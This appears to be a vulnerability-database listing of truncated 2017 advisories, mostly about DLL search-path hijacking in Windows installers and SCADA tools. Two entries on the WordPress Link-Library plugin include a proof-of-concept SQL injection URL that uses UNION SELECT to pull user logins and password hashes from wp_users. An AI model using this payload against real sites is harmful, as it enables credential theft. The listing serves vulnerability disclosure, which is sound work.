WordPress Link-Library plugin <=5.9.13.26 – Authenticated SQL Injection vulnerability

Authenticated SQL Injection vulnerability found by Lenon Leite in WordPress Link-Library plugin version 5.9.13.26 and earlier versions. Solution Update WordPress Link-Library plugin to the latest available version at least 5.9.13.27...

CVE-2017-9648

An Uncontrolled Search Path Element issue was discovered in Solar Controls WATTConfig M Software Version 2.5.10.1 and prior. An uncontrolled search path element has been identified, which could allow an attacker to execute arbitrary code on a target system using a malicious DLL file...

CVE-2017-9661

An Uncontrolled Search Path Element issue was discovered in SIMPlight SCADA Software version 4.3.0.27 and prior. The uncontrolled search path element vulnerability has been identified, which may allow an attacker to place a malicious DLL file within the search path resulting in execution of...

Link-Library <= 5.9.13.26 – Authenticated SQL Injection

Type user access: admin user. $GET‘linkid’ is not escaped. PoC http://localhost:8080/wp-admin/admin.php?page=link-library=1=1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,CONCATuserlogin,char58,userpass,17,18,19,20,21,22,23,24,25,26+FROM+wpusers+WHERE+ID=1...

Link-Library <= 5.9.13.26 – Authenticated SQL Injection

Type user access: admin user. $GET‘linkid’ is not escaped. http://localhost:8080/wp-admin/admin.php?page=link-library&genthumbsingle=1&linkid=1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,CONCATuserlogin,char58,userpass,17,18,19,20,21,22,23,24,25,26+FROM+wpusers+WHERE+ID=1...

SIMPlight SCADA Software DLL Load Local Code Execution Vulnerability

SIMPlight SCADA is software for building management systems and automation equipment. SIMPlight SCADA Software suffers from a DLL Load Native Code Execution vulnerability that could be exploited by an attacker to submit a special file to trick a user into requesting and elevating privileges...

Solar Controls Heating Control Downloader DLL Load Local Code Execution Vulnerability

Solar Controls Heating Control Downloader HCDownloader is a solar control heating downloader from Solar Controls, Czech Republic. A security vulnerability exists in Solar Controls HCDownloader versions 1.0.1.15 and earlier. An attacker can exploit this vulnerability by using a malicious DLL file ...

Solar Controls WATTConfig M Software DLL Load Local Code Execution Vulnerability

Solar Controls WATTConfig M Software is a suite of software for use in Solar Controls devices from Solar Controls, Czech Republic. A security vulnerability exists in Solar Controls WATTConfig M Software version 2.5.10.1 and earlier. The vulnerability can be exploited by an attacker to execute...

Sandboxie installer DLL hijacking vulnerability

Sandboxie is a virtualization software from the American company Sandboxie Holdings. The software supports running other applications in an isolated space and prevents programs from making changes to the system.Sandboxie installer is an installer for Sandboxie. A DLL hijacking vulnerability exist...

IP Messenger for Win Untrustworthy Search Path Vulnerability

IP Messenger for Win is a suite of instant messaging software for LANs based on the Windows platform.Install is one of the installation programs. An untrusted search path vulnerability exists in the installer in IP Messenger for Win versions 4.60 and earlier. A remote attacker can exploit this...

CVE-2017-2288

Untrusted search path vulnerability in LhaForge Ver.1.6.5 and earlier allows an attacker to gain privileges via a Trojan horse DLL in an unspecified directory...

WPS Text wpsmain.dll has a null pointer reference denial of service vulnerability

WPS is an office software developed by Kingsoft Office Software. WPS text wpsmain.dll has a null pointer reference denial of service vulnerability. The vulnerability is due to the program failed to assign a value to the pointer, an attacker can use this vulnerability can lead to a denial of servi...

Installer of Tween Untrustworthy Search Path Vulnerability

Tween is a client tool for Twitter. An untrustworthy search path vulnerability exists in Tween 1.6.6.0 and earlier versions. An attacker can exploit this vulnerability to gain privileges with a malicious DLL...

CVE-2017-2265

Untrusted search path vulnerability in FileCapsule Deluxe Portable Ver.1.0.4.1 and earlier allows an attacker to gain privileges via a Trojan horse DLL in an unspecified directory...

CVE-2017-2269

Untrusted search path vulnerability in FileCapsule Deluxe Portable Ver.2.0.9 and earlier allows an attacker to gain privileges via a Trojan horse DLL in an unspecified directory...

Mozilla Thunderbird < 52.2

The version of Thunderbird installed on the remote Windows host is prior to 52.2. It is, therefore, affected by multiple vulnerabilities as referenced in the mfsa2017-17 advisory. - A number of security vulnerabilities in the Graphite 2 library including out-of-bounds reads, buffer overflow reads...

Denshinouhin Check System Untrusted Search Path Vulnerability

Denshinouhin Check System is an e-na inspection system released by the Japanese Ministry of Agriculture, Forestry and Fisheries.Installer is one of the installation programs. An untrusted search path vulnerability exists in the installer in Denshinouhin Check System version 9.0.001.001 and versio...

Shinseiyo Sogo Soft Untrustworthy Search Path Vulnerability

Shinseiyo Sogo Soft is an online registration application system released by the Japanese Ministry of Justice.Installer is one of the installation programs. An untrusted search path vulnerability exists in the installer in Shinseiyo Sogo Soft 4.8A and earlier versions. An attacker can exploit thi...

MLIT DenshiSeikabutsuSakuseiShienKensa system untrustworthy search path vulnerability

An untrusted search path vulnerability exists in the MLIT DenshiSeikabutsuSakuseiShienKensa system. An attacker can exploit this vulnerability with a malicious DLL to gain privileges...

Charamin OMP Untrustworthy Search Path Vulnerability

Charamin OMP is a media player that automatically generates dance animations by analyzing music files. An untrustworthy search path vulnerability exists in Charamin OMP versions 1.1.7.4 and earlier and 1.2.0.0 Beta and earlier. An attacker can exploit this vulnerability to gain privileges with th...